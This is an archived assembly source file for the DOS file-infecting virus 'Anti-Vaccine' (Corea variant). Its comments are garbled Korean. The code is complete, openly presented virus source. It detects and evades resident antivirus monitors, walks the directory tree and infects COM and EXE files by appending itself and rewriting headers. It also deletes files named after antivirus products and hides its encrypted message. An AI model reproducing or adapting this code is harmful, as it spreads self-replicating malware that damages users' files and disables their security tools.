home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / KOREACOL.ZIP / COREA.ZIP / COREA-D.ASM next >
Encoding:
Assembly Source File  |  1997-01-05  |  21.4 KB  |  596 lines

  1. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  2. ;
  3. ;                     Corea (Special version for Hacker dong)
  4. ;                 **********************************************
  5. ;
  6. ; ╖íƒq : Corea (KV43 êü£╖╤w)
  7. ; öaƒe ╖íƒq : Anti-Vaccine
  8. ; ╣A╕b╕a : ña╖í£ß»a╖ü ïí¼a (KOV : Knight Of Virus)
  9. ; ïa₧ô : ¼ß╢ë ña╖í£ß»a ╡e╨s (SVS : Seoul Virus Society)
  10. ; ╣A╕b╗í : ╨eèé / 95æe 8╢⌐ 27╖⌐
  11. ;
  12. ; ┤σ┤ß : MASM, TASM
  13. ;
  14. ; ╣╖ƒA : ºí¼w║ü╤w  COM  EXE
  15. ; ¼Θíw : ºí¼w║ü╤w ña╖í£ß»a¥í ₧ü╦a ùí¥B╔íƒí ªü╚ß »í╕b╨ü¼ß ííùe ùí¥B╔íƒíƒi
  16. ;        ûß╣a¼ß 3êü╖ü »⌐╨ù╠a╖⌐ (COM,EXE) ╖i êq╡q»í╟Ñöa. ñé»Ñ ╧a¥íïa£æ╖í ╣Ñ╕ü
  17. ;        ╨aíe ¼b╣A╨eöa.
  18. ;
  19. ;        PC-VAN ╨ü─ßò╖╖i ╢ß╨ü ╦bÑi ╣A╕bûE ñß╕σ╖íöa.
  20. ;
  21. ;
  22. ; * Anti-Vaccine.926  (Type A/KV40/950301)
  23. ; * Anti-Vaccine.941  (Type B/KV41/950301)
  24. ; * Anti-Vaccine.998  (Type C/KV42/950301)
  25. ; * Anti-Vaccine.1045 (Type D/KV43/950405)
  26. ; ! Anti-Vaccine.???? (╦bÑiñß╕σ/950827)
  27. ;   Anti-Vaccine.E    (Type E/KV44/      )
  28. ;
  29. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  30.  
  31.  PARASIZE   EQU     (End_Memory-Entry+0Fh) SHR 4
  32.  
  33.  AV_D     SEGMENT PARA 'AV_D'
  34.           ASSUME  CS:AV_D, DS:AV_D
  35.  
  36.  Entry:   jmp     Patch                      ; ┤|ªüªà ╠ü├í »í╟│
  37. ;         mov     SI, 0100h                  ; └ß╖q ╢ß├í
  38.  Start:   mov     DI,9999h
  39.           NOP
  40.           NOP
  41.  A_F:     dec     DI                         ; F-PROT ╗Ñöe ñw╨ü
  42.           NOP
  43.           jnz     A_F
  44.           NOP
  45.           NOP
  46.           Push    DS
  47.           JMP     ChkFSP
  48.  
  49.  Msg_Start:
  50.           NOP
  51.  Msg      DB 0Dh,0Ah,07h
  52.           DB ' VIRUS: Anti-Vaccine -- by KOV of SVS,Corea',0Dh,0Ah
  53.           DB ' Special Version for Hackerdong...9192.8.27',0Dh,0Ah,00
  54.  Msg_END: NOP
  55.  
  56.  ChkFSP:  mov     al,0FFh                    ; FF0Fh
  57.           mov     ah,0Fh
  58.           xchg    ah,al                      ;£æ╡A FSP êa ╣Ñ╕ü╨aôeêa?
  59.           NOP                                ; ╖í£²ëA ╨aíe TBSCAN ╡A¼ßòí
  60.           int     21h                        ; ╗Ñöe┤eûA║a.
  61.           cmp     ax,0101h                   ; axêa 0101╖ííe ╣Ñ╕ü.
  62.           jz      NoInfect                   ; £æ╡A FSP êa ╣Ñ╕ü╨eöa.
  63.  
  64.           mov     ax,3521h                   ; ES:BX
  65.           NOP
  66.           Int     21h
  67.           cmp     word ptr ES:[000Ah],'BT'   ; ES:000A ╡A TBDRVX êa ╖╢╖aíe
  68.           jnz     ChkVSAFE                   ; TBAV ╡üñw╢w╖í ╖╢ôeê⌡╖íöa.
  69.           cmp     word ptr ES:[000Ch],'RD'
  70.           jz      NoInfect                   ; £æ╡A TBAV êa ╣Ñ╕ü╨eöa.
  71.  ChkVSAFE:
  72.           cmp     byte ptr ES:[BX],0EAh      ; £æ╡A VSAFE êa ╣Ñ╕ü╨eöa.
  73.           jnz     GetDTA
  74.           cmp     word ptr ES:[BX+5],80FBh   ;
  75.           jnz     GetDTA
  76.           jmp     NoInfect
  77.  
  78.  GetDTA:  mov     ah,2Fh                     ; DTA ║ü¡í ┤Φïí
  79.           Int     21h
  80.           Push    BX
  81.           Push    ES
  82.  
  83.           call    GetTopSeg                  ; £æ╖ü ┬A¼w╢ß ╢ß├í èü╨aïí
  84.  
  85.           Push    SI
  86.           Push    CS                         ; êq╡qÅ{Éaëí ò⌐┤a╡⌐ ╢ß├í
  87.           lea     ax, [SI+SegOrgDTA]         ; ╕ß╕w
  88.           Push    AX
  89.           db      0Eah                       ; JMP XXXX:╠a╖⌐ êq╡q
  90.           dw      offset Virus_P2
  91.  TSeg     dw      ?
  92.  
  93.  SegOrgDTA:                                  ; RETF ûAíe ╖íë╡╖a¥í ╕±╧a
  94.           Pop     SI
  95.           mov     ah,1ah                     ; ╢Ñ£ü DTA ¥í ëí├íïí
  96.           pop     DS                         ;
  97.           pop     DX
  98.           Int     21h
  99.  
  100.  NoInfect:
  101.           Pop     DS
  102.           push    DS
  103.           Pop     ES                         ; PSP Ñóèü
  104.           NOP
  105.  
  106.           cmp     byte ptr CS:FileType[SI],01
  107.           jnz     Re_COM
  108.           mov     ax, ES                     ; EXE ╠a╖⌐ Ñóèü
  109.           add     ax, 0010h
  110.           add     CS: Org_CS[SI],ax
  111.           add     CS: Org_SS[SI],ax
  112.           mov     ss, CS:Org_SS[SI]
  113.           mov     sp, CS:Org_SP[SI]
  114.           XOR     AX,AX
  115.           XOR     BX,BX
  116.           JMP     dword ptr CS:Org_IP[SI]
  117.  
  118.  Re_COM:  lea     si, Org_IP[SI]             ; ╢Ñ£ü COM ╣Ñ╕ü ╢ß├í
  119.           mov     di,50h
  120.           add     DI,0B0h                    ; DI=100h
  121.           push    di
  122.           movsw                              ; 3 ña╖í╦a
  123.           NOP
  124.           movsb
  125.           RET                                ; »⌐╨ù
  126.  
  127. ;<><><><><><><><><><><><><><><><><><><><><><>
  128.  GetTopSeg:
  129.           Push    SI
  130.           mov     Ax, PARASIZE               ; ¼a╖í╗a
  131.           mov     Bx, word ptr DS:[0002h]    ; ¼a╢w┤e╨aôe ┬A¼w╢ß £æ
  132.           sub     Bx,Ax
  133.           mov     ES,BX
  134.           mov     word ptr CS:TSeg[SI],ES
  135.           NOP
  136.           Push    cs                         ; CS=DS
  137.           Pop     ds
  138.           NOP
  139.           xor     di,di                      ; IP=0000 ªü╚ß ╣Ñ╕ü╨eöa.
  140.           mov     cx, offset End_Memory      ; ña╖í£ß»a ï⌐╖í
  141.           repz    movsb                      ; Ñó¼a
  142.           Pop     SI
  143.           RET
  144.  
  145. ;<><><><><><><><><><><><><><><><><><><><><><>
  146. ; ╡aïí¼ß ªü╚ßôe £æ╖ü ┬A¼w╢ß ªü╚ß ╣Ñ╕ü╨aôe ê⌡╖íöa.
  147. ;<><><><><><><><><><><><><><><><><><><><><><>
  148.  
  149.  Virus_P2:
  150.           Push    CS                         ; CS=DS
  151.           Pop     DS
  152.  
  153.  ;ùí¥B╔íƒí ╖íò╖╖e ┤e└Θ«ü│í╖ü ê⌡╖i ïaöü¥í ¼a╢w╨ûöa. êq¼a╨sôíöa.
  154.  ;┤e└Θ«ü│í
  155.  
  156.           mov     ah,47h                     ; ╤e╕ü ùí¥B╔íƒí ╕ß╕w
  157.           xor     dl,dl
  158.           mov     si, offset szOldDir + 1
  159.           mov     szOldDir,'\'
  160.           Int     21h
  161.  
  162.           mov     ah, 1Ah                    ; DTA ñaÄüïí
  163.           mov     dx, offset N_DTA           ;
  164.           Int     21h
  165.  
  166.           mov     al,01                      ; 1 ╖i ╕ß╕w
  167.           mov     di, offset sDirLevel
  168.           mov     cx,0040h
  169.           repz    stosb
  170.           mov     ax, offset sDirLevel
  171.           mov     pDirLevel,ax
  172.  
  173.           mov     byte ptr Total,03          ; 3êü êq╡q
  174.           NOP
  175.           mov     ah,3Bh                     ; ₧ü╦a¥í ╗í╕≈
  176.           mov     dx, offset szRtDIR
  177.           Int     21h
  178.  
  179.           mov     ax,3524h                   ; Int 24h êa¥í└üïí
  180.           Int     21h
  181.           Push    ES                         ; ES:BS ╕ß╕w
  182.           Push    BX
  183.           mov     ah,25h
  184.           mov     dx, OFFSET NewInt24        ; ╡A£ß └߃í
  185.           Int     21h
  186.  
  187. Find1st:  mov     aL, 4Eh                    ; ╠a╖⌐╖i └x╖q
  188.           mov     cx, 100111b                ; ¡ó¼≈
  189.           mov     dx, OFFSET szAll           ; *.*
  190. FindFile: call    callInt21
  191.           jc      ChDir                      ; ╡A£ßíe ùí¥B╔íƒí ñaÄüïí
  192.  
  193.           mov     dx, offset N_DTA + 1Eh
  194.           call    CheckFileName              ; ╠a╖⌐ ╣╖ƒA ê±¼a
  195.           cmp     al,0FFh                    ; êq╡q ªü╕Γ╨q ╠a╖⌐╖▒
  196.           jz      FindNext                   ; öa╖q ╠a╖⌐ └xïí
  197.           call    InfectFile                 ; ╠a╖⌐ êq╡q»í╟íïí
  198.           cmp     byte ptr Total,00          ; 3êüƒi êq╡q»í┼vöa.
  199.           jz      EFF
  200. FindNext: mov     aL, 4Fh                    ; öa╖q ╠a╖⌐ └x╖q
  201.           jmp     FindFile
  202. EFF:      jmp     ExitCF                     ; Å{Éüïí
  203.  
  204.  
  205. ;<><><><><><><><><><><><><><><><><><><><><><>
  206. ;         ùí¥B╔íƒí ñaÄüïí
  207. ;<><><><><><><><><><><><><><><><><><><><><><>
  208. ; ╢уíôe ëa╢ü ┤i┤vôeòA ái¥íôe í╡╨aëVæA╢a. öü┬ù
  209. ; ┤i┤a¼ß ¼a╢w╨a¡A╢a.
  210.  
  211. ChDir:    mov     si, pDirLevel
  212. FindDir:  xor     bl, bl
  213.           mov     aL, 4Eh                    ; ùí¥B╔íƒí └x╖q
  214.           mov     cx, 10010b
  215.           mov     dx, OFFSET szAll           ; *.*
  216.           call    callInt21
  217.           jc      ChkRtDir
  218.           jmp     ChkDir
  219.  
  220. NextDir:  mov     AL, 4Fh                    ; öa╖q ùí¥B╔íƒí └x╖q
  221.           call    callInt21
  222.           jc      ChkRtDir
  223.  
  224. ChkDir:   cmp     BYTE PTR N_DTA[15h], 10000b ; ╗Ñ╝a ùí¥B╔íƒí╖Ñêa?
  225.           jz      IsCurDir
  226.           cmp     BYTE PTR N_DTA[15h], 10010b
  227.           jnz     NextDir
  228. IsCurDir: cmp     BYTE PTR N_DTA[1Eh], '.'
  229.           NOP
  230.           jz      NextDir
  231.           inc     bl
  232.           cmp     bl, [si]
  233.           jnz     NextDir
  234.  
  235.           mov     AL, 3Bh                    ; └x╖e ùí¥B╔íƒí¥í ╖íò╖
  236.           mov     dx, OFFSET N_DTA + 1Eh
  237.           call    callInt21
  238.           inc     BYTE PTR [SI]
  239.           inc     si
  240.           mov     pDirLevel, SI
  241.           jmp     Find1st
  242.  
  243. ChkRtDir: cmp     si, OFFSET sDirLevel       ; ║ü ùí¥B╔íƒí╖Ñêa?
  244.           je      ExitCF
  245.           mov     ah, 3Bh                    ; ¼w╢ß ùí¥B╔íƒí¥í ╖íò╖
  246.           mov     dx, OFFSET szPtDir
  247.           int     21h
  248.           mov     BYTE PTR [si], 1
  249.           dec     si
  250.           jmp     FindDir
  251.  
  252.  ExitCF:  NOP
  253.           Pop     DX                         ; ╢Ñ£ü Int 24h ¥í ñaÄæ
  254.           Pop     DS
  255.           mov     ax,2524h
  256.           Int     21h
  257.           Push    CS
  258.           Pop     DS
  259.           mov     ah,3Bh                     ; ╢Ñ£ü ùí¥B╔íƒí¥í ╖íò╖
  260.           mov     dx, offset szOldDir
  261.           Int     21h
  262.           RETF                               ; êq╡q╤╔ò╖Å{
  263.  
  264. ;<><><><><><><><><><><><><><><><><><><><><><>
  265. ;  AL = FFh  : êq╡q»í╟⌐«ü ┤⌠ôe ╠a╖⌐
  266. ;       00h  : êq╡q»í╟⌐«ü ╖╢ôe ╠a╖⌐
  267. ;<><><><><><><><><><><><><><><><><><><><><><>
  268.  CheckFileName    PROC   NEAR
  269.           Push    CS
  270.           Pop     ES
  271.           mov     byte ptr EFY,0FFh          ; ïíÑÑêt
  272.  
  273.  ChkEXT:  mov     SI, offset N_DTA+1Eh       ; ╠a╖⌐ ╖íƒq
  274.  ChkE_1:  Inc     si
  275.           mov     AL,DS:[SI]
  276.           cmp     al,00                      ; ╠a╖⌐ Å{╖Ñêa?
  277.           jz      Exit_CFN
  278.           cmp     AL,'.'                     ; ╤┬╕w╕a╖Ñêa?
  279.           jnz     ChkE_1
  280.           cmp     word ptr DS:[SI+1],'OC'    ; .COM file
  281.           jnz     ChkEXTisEXE
  282.           cmp     byte ptr DS:[SI+3],'M'
  283.           jnz     Exit_CFN
  284.           cmp     word ptr DS:N_DTA[26],62345 ; 62345 ña╖í╦aÑíöa ╟eêa?
  285.           ja      Exit_CFN
  286.           jmp     ChkFileSize                ; ╠a╖⌐ ╟aïí ê±¼a
  287.  ChkEXTisEXE:
  288.           cmp     word ptr DS:N_DTA[28],6    ; ╗íÉa├íëA ╟eêa?
  289.           ja      Exit_CFN
  290.           cmp     word ptr DS:[SI+1],'XE'    ; .EXe
  291.           jnz     Exit_CFN
  292.           cmp     byte ptr DS:[SI+3],'E'
  293.           jnz     Exit_CFN
  294.  ChkFileSize:
  295.           cmp     word ptr DS:N_DTA[26],5432 ; 5432 ña╖í╦aÑíöa ╟eêa?
  296.           jb      Exit_CFN
  297.  
  298.  ChkVaccine:      ; ╠a╖⌐ ╖íƒq ê±¼a╨ü¼ß ñé»Ñ╖ííe ¼b╣A╨q.
  299.           mov     ax,word ptr DS:N_DTA[1Eh]
  300.           mov     di, offset Anti_VIRNAME    ; ñé»Ñ ╖íƒqùi
  301.           add     AX, 4848h                  ;
  302.           mov     cx, 0008                   ; 8 ñσ ê±¼a
  303.           repnz   scasw
  304.           jnz     ChkFNAME
  305.           Jmp     Del_File
  306.  
  307.  ChkFNAME:
  308.           mov     ax,word ptr DS:N_DTA[1Eh]
  309.           cmp     ax,'WH'                    ; HWP.EXE
  310.           jz      Exit_CFN
  311.           cmp     ax,'OC'                    ; COMMAND.COM
  312.           jz      Exit_CFN                   ;
  313.           cmp     ax,'BI'                    ; IBMBIO.COM, IBMDOS.COM
  314.           jz      Exit_CFN
  315.  ChkSecond:
  316.           mov     al, byte ptr N_DTA+22      ; êq╡q ╡aªü ê±¼a
  317.           and     al,1Dh                     ; ┴í ê±¼a
  318.           cmp     al,1Dh
  319.           jz      Exit_CFN                   ; ╖íúí êq╡qûA┤÷öa.
  320.           mov     byte ptr EFY,00            ; ╠a╖⌐ êq╡q
  321.  Exit_CFN:
  322.           mov     al,[EFY]
  323.           RET                                ; 0FFh íe ªü╕Γ╨s ╠a╖⌐
  324.  CheckFileName    ENDP
  325.  
  326. ;<><><><><><><><><><><><><><><><><><><><><><>
  327. ;         ╠a╖⌐ ¼b╣A
  328. ;<><><><><><><><><><><><><><><><><><><><><><>
  329.  Del_File:
  330.           xor     cx,cx                      ; ╖¬ïí/│aïí¥í ñaÄæ
  331.           mov     ax,4301h
  332.           mov     dx, offset N_DTA + 1Eh
  333.           Int     21h
  334.           mov     ah,41h                     ; ╠a╖⌐ ¼b╣A
  335.           Int     21h
  336.           mov     ah,2Ch                     ; »íêe ┤Φïí
  337.           Int     21h
  338.           cmp     CL, 22                     ; 22ªà
  339.           jnz     Exit_CV
  340.           mov     si, offset Msg             ; íA»í╗í ┬ë¥b
  341.           mov     cx, offset Msg_END - MSG_Start
  342.  M_Loop:  lodsb                              ; DS:SI -> AL
  343.           mov     ah,2
  344.           xor     AL,48h                     ; ┤q╤í╬ëïí
  345.           mov     dl,al
  346.           Int     21h                        ; ┬ë¥b
  347.           loop    M_Loop
  348.  EXit_CV: Jmp     Exit_CFN
  349.  
  350. ;<><><><>><><><><><><><><><><><><><><><><><>
  351. ;         ╠a╖⌐ êq╡q ₧ü╦Ñ
  352. ;<><><><><><><><><><><>><><><><><><><><><><>
  353.  InfectFile       PROC   NEAR
  354.           mov     ax,0043h                   ; ╠a╖⌐ ¡ó¼≈┤Φïí
  355.           mov     dx, offset N_DTA + 1Eh     ; DS:DX= ╠a╖⌐ ╖íƒq
  356.           call    callInt21
  357.           jnc     SetAttr
  358.           Jmp     Open_error
  359.           NOP
  360.  SetAttr: mov     File_Attr,cx               ; ¡ó¼≈ ╕ß╕w
  361.           mov     ax,0143h                   ; ¡ó¼≈╖i ╖¬ïí/│aïí¥í áeùeöa.
  362.           xor     cx,cx
  363.           call    callInt21
  364.           jnc     Open_File
  365.           Jmp     Open_error
  366.  Open_File:
  367.           mov     ax,023Dh                   ; ╡í╧e/│aïí¥í ╡í╧e
  368.           call    callInt21
  369.           jnc     Get_FD
  370.           Jmp     Open_error
  371.           NOP
  372.  Get_FD:  Push    cs
  373.           Pop     ES
  374.  
  375.           xchg    ax,bx                      ; AX ╡A ╨àùi É²ïí
  376.           mov     ax,0057h                   ; »íêe ┤Φïí
  377.           call    callInt21
  378.           push    cx                         ; Éi╝a/»íêe ╕ß╕w
  379.           push    dx
  380.  
  381.           mov     aL, 3Fh                    ; 66h ña╖í╦a ╖¬┤ß ùi╖íïí
  382.           mov     dx, offset Buffer4F
  383.           mov     si, DX
  384.           mov     cx, 0066h
  385.           call    callInt21
  386.  
  387.           mov     aL,02                      ; ╠a╖⌐ Å{╖a¥í ╖íò╖
  388.           call    SetPnt                     ;
  389.  
  390.           mov     word ptr File_Size,ax      ; ï⌐╖í ╕ß╕w
  391.           mov     word ptr File_Size+2,dx
  392.  
  393.           Push    AX
  394.           mov     AX, word ptr Buffer4F      ; EXE ╠a╖⌐╖Ñêa?
  395.           cmp     AX,'ZM'                    ; ╖íñwñ≤╖e Ñí╔╖ÿüôe TBSCAN╡A¼ß
  396.           Pop     AX                         ; ╗Ñöe┤e╨aôeòA ña╖í£ß»aêa ág╖í
  397.           jz      IEF                        ; ñiëeûAíe EXE ┴A╟a¥í ê±¼aûQ
  398.  
  399.  
  400. ;<><><><><><><><><><><><><><><><><><><><><><>
  401. ;         COM ╠a╖⌐ êq╡q
  402. ;<><><><><><><><><><><><><><><><><><><><><><>
  403.  ICF:     mov     byte ptr FileType,00       ; COM ╠a╖⌐╖íöa.
  404.           NOP
  405.           mov     di, offset Org_IP
  406.           movsw                              ; 3ña╖í╦a Ñó¼a
  407.           movsb
  408.  
  409.           sub     ax,0003
  410.           mov     word ptr Buffer4F+1,AX     ; JMP ╢ß├í êt ¼Θ╕≈
  411.           add     AX,103h                    ; ╠a╖⌐ Å{ + 100h = ña╖í£ß»a»í╕b
  412.           mov     word ptr Entry+1,AX        ; ña╖í£ß»a »í╕b╕±.
  413.           mov     byte ptr Buffer4F,0E9h     ; JMP íw¥w
  414.           JMP     Write_Vircode              ; ña╖í£ß»a │aïí¥í ╖íò╖
  415.           NOP
  416.  
  417. ;<><><><><><><><><><><><><><><><><><><><><><>
  418. ;         EXE ╠a╖⌐ êq╡q
  419. ;<><><><><><><><><><><><><><><><><><><><><><>
  420.  IEF:     mov     byte ptr FileType,01       ; EXE ╤w╚ü╖ü ╠a╖⌐╖▒.
  421.           mov     word ptr NEType,00         ; NE ╚a╖│╖ü EXE ╠a╖⌐╖Ñ╗í ê±¼a
  422.           mov     dx, word ptr Buffer4F[60]  ; ╖íò╖êt
  423.           mov     cx, word ptr Buffer4F[62]
  424.           mov     al,00
  425.           call    SetPnt1                    ; ╖íò╖
  426.           mov     cx,0002
  427.           mov     dx, offset NEType
  428.           mov     ah,3Fh                     ; ╖¬ïí
  429.           Int     21h
  430.           cmp     word ptr NEType,'EN'       ; ╢σòí╢ü╗a or OS/2 ╠a╖⌐?
  431.           jnz     ChkOVr
  432.           Jmp     Restore_DT
  433.  
  434.  ChkOVR:  mov     ax,word ptr Buffer4F[04]   ; »⌐╣Aï⌐╖í╡┴ ╤Aößï⌐╖í╡┴ ºíèa
  435.           cmp     word ptr Buffer4F[02],00   ; (Éüªü ╡íñߥA╖í EXE ╠a╖⌐╖e
  436.           jz      MUL_512                    ; êq╡q╣A╢AûQ)
  437.           DEC     AX
  438.  Mul_512: mov     cx,200h
  439.           mul     CX
  440.           add     ax,word ptr Buffer4F[02]
  441.           ADC     dx,+00
  442.           cmp     word ptr File_Size,AX
  443.           jz      ChkSize_2
  444.           JMP     Restore_DT                 ; öa╖qªü╚ß êq╡q╡aªüƒi ╢ß╨ü ╡í╧e╨a
  445.  ChkSize_2:                                  ; ╗í ┤gëA êq╡qûEêΘ¥í └߃í╨q.
  446.           cmp     word ptr File_Size+2,DX
  447.           jz      Modify_EXE
  448.           JMP     Restore_DT
  449.  
  450.  Modify_EXE:                                 ; EXE ñaÄüïí
  451.           mov     si, offset Buffer4F[0Eh]   ; ╢Ñ£üêt Ñó¼a
  452.           mov     di, offset Org_SS
  453.           mov     cx,0010
  454.           repz    movsb
  455.  
  456.           mov     si, offset Buffer4F
  457.           mov     al,02                      ; ╠a╖⌐ Å{╖a¥í ╖íò╖
  458.           call    SetPnt
  459.  
  460.           PUSH    AX                         ; ╕ß╕w
  461.           PUSH    DX
  462.  
  463.           MOV     CX,0010h                   ; / 16
  464.           DIV     CX
  465.           SUB     AX,[SI+08]                 ; ╤Aößï⌐╖í(╠a£aïa£ü╧a öe╢ß)
  466.           MOV     [SI+16h],AX                ; CS êt
  467.           MOV     word ptr [Entry+1],DX      ; ña╖í£ß»a »í╕b╕± ╕ß╕w (SIêt)
  468.           MOV     [SI+14h],DX                ; IPêt
  469.           ADD     DX, offset Stack_Space     ; »a╚éêt ¼Θ╕≈
  470.           MOV     [SI+10h],DX                ; SPêt
  471.           MOV     [SI+0Eh],AX                ; SSêt
  472.           POP     DX                         ; ╢Ñ£ü ï⌐╖í
  473.           POP     AX
  474.           ADD     AX, offset End_Virus       ; + ña╖í£ß»a ï⌐╖í
  475.           ADC     DX,+00
  476.           MOV     CX,0200h                   ; /512
  477.           DIV     CX
  478.           OR      DX,DX                      ; Éaáß╗í?
  479.           JZ      No_Inc
  480.           INC     AX
  481.  No_Inc:  MOV     [SI+04],AX                 ; ï⌐╖í
  482.           MOV     [SI+02],DX                 ; Éaáß╗í
  483.           mov     AL,byte ptr [SI+14h]       ;
  484.           NOT     AL                         ; IP êt╖ü NOT ╖í êq╡qê±¼aêt
  485.           MOV     BYTE PTR [SI+12h],AL       ; 12:┴A╟a¼±, êq╡q╡aªü
  486.  Write_VirCode:                              ; ña╖í£ß»a │aïí
  487.           mov     aL,40h                     ; ña╖í£ß»a │aïí(êa╕w ûß╡A ╖╢öa.)
  488.           xor     dx,dx
  489.           mov     cx, offset End_Virus
  490.           cmp     byte ptr FileType,00       ; COM file
  491.           jz      Write_virCode1
  492.           mov     cx, offset Stack_Space     ; EXE file
  493.  Write_VirCode1:
  494.           call    callInt21
  495.  
  496.           mov     al,00                      ; ╠a╖⌐ └ß╖q╖a¥í ╖íò╖
  497.           call    SetPnt
  498.  
  499.           NOP
  500.           mov     aL,40h                     ; ña╖í£ß»aêa áσ╕ß »⌐╨ùûAòí¥ó╨e
  501.           mov     cx,001Ah                   ; 1Ah ña╖í╦aƒi │eöa.
  502.           mov     dx, offset Buffer4F        ; │i Éü╢w ╢ß├í
  503.           call    callInt21
  504.  
  505.  Restore_DT:
  506.           pop     dx                         ; »íêe Ñóèü
  507.           pop     cx                         ; ┴íêt╖í ╖í¼w╨ü╣a¼ß TBSCAN ╡A ╗Ñ
  508.           and     cl,11100000B               ; öeûAôeê⌡ ñw╗í
  509.           or      cx,+1Dh                    ; ┴íƒi êq╡q »í╟⌐ÿü¥í ñaÄæ
  510.           mov     ax,0157h
  511.           call    callInt21
  512.  
  513.           mov     AL,3Eh                     ; ╠a╖⌐ öhïí
  514.           call    callInt21
  515.  Open_error:
  516.           mov     ax,0143h                   ; ╢Ñ£ü ¡ó¼≈╖a¥í Ñeëw
  517.           mov     dx, offset N_DTA+1eh       ; ╠a╖⌐ ╖íƒq
  518.           mov     cx, File_Attr              ; ╠a╖⌐ ¡ó¼≈
  519.           call    callInt21
  520.           dec     byte ptr Total             ; 1êü êq╡q╤ó╖e ╡A£ß
  521.           RET
  522.  InfectFile       ENDP
  523.  
  524. ;<><><><><><><><><><><><><><><><><><><><><><>
  525. ;         ╕e╕e╨e ₧ü╦Ñùi
  526. ;<><><><><><><><><><><><><><><><><><><><><><>
  527.  
  528.  SetPnt:  xor     cx,cx                      ; ═í╖Ñ╚ß ╖íò╖
  529.           xor     dx,dx
  530.  SetPnt1: mov     ah,42h
  531.           Int     21h
  532.           RET
  533.  
  534.  NewInt24:xor     al,al                      ; ¼ü¥í╢à Int 24h êt
  535.           IRET
  536.           NOP
  537.  
  538.  callInt21:                                  ;
  539.           xchg    AH,AL                      ; AH,AL ñaı
  540.           Int     21h
  541.           RET
  542.  
  543.           NOP
  544.  Org_SS        DW  ?
  545.  Org_SP        DW  ?
  546.                DW  ?
  547.  Org_IP        DW  20CDh                     ; └⌡ ╠a╖⌐
  548.  Org_CS        DW  ?
  549.           NOP
  550.  
  551.  Anti_VIRNAME  DB  'V'+48h,'3'+48h,'T'+48h,'V'+48h,'K'+48h,'A'+48h
  552.                DB  'T'+48h,'K'+48h,'F'+48h,'-'+48h,'T'+48h,'B'+48h
  553.                DB  'S'+48h,'C'+48h,'T'+48h,'2'+48h
  554.                ; V3,TV,KAV,TKO,F-PROT,TBSCAN, SCAN, T2
  555.  szPtDir       DB  '..',00                   ; ¼w╢ß ùí¥B╔íƒí¥í ╖íò╖
  556.  szAll         DB  '*.*',00                  ; ííùe ╠a╖⌐ └xïí
  557.  szRtDir       DB  '\',00                    ; ₧ü╦a ùí¥B╔íƒí¥í ╖íò╖
  558.  pDirLevel     DW  ?                         ;
  559.  FileType      DB  ?                         ; ╠a╖⌐ ╚a╖│
  560.   End_VIRUS:                                 ; COM Å{
  561.                DB  50h  dup (?)              ; »a╚é(EXE ╟aïí)
  562.  Stack_Space:
  563. ;
  564. ;             ╠a╖⌐╡Aôe ╕ß╕w┤eûQ
  565.  Total         DB  ?                         ; êq╡q╥U«ü
  566.  Buffer4F      DB     66h  dup (?)           ; ╠a╖⌐ ñß╠ß
  567.  EFY           DB  ?                         ; ╕Γ╨s╠a╖⌐╖Ñ╗í ê±¼a
  568.  NEType        DB  ?                         ; WindowsÉa OS/2 ╠a╖⌐
  569.  File_Attr     DW  ?                         ; ╠a╖⌐ ¡ó¼≈
  570.  File_Size     DD  ?                         ; ╠a╖⌐ ¼a╖í╗a
  571.  N_DTA         DB  30h dup (?)               ; DTA ╡w╡b
  572.  szOldDir      DB  '\'                       ; \ôe Éa║ù╡A É²┤ß║æ
  573.                DB  7Fh DUP (0)               ; ╤e╕ü ùí¥B╔íƒí╢ß├í
  574.  sDirLevel     DB  40h DUP (1)
  575.  End_Memory:                                 ; ña╖í£ß»a ┴╖ï⌐╖í
  576.  
  577. ;*********************************************
  578. ;
  579.  Patch:
  580.           mov     byte ptr DS:[100h],0BEh    ; MOV SI,100h
  581.           mov     word ptr DS:[101h],100h
  582.  
  583.           mov     cx, offset Msg_END - Msg_Start
  584.           mov     si, offset Msg_Start+100h  ;íA»í╗í ┤q╤í╤┴
  585.           mov     di, si
  586.  XOR_LOOP:
  587.           lodsb
  588.           xor     al,48h
  589.           stosb
  590.           loop    XOR_LOOP
  591.           mov     si,100h
  592.           jmp     Start
  593.  
  594.  AV_D     ENDS
  595.           End     ENTRY
  596.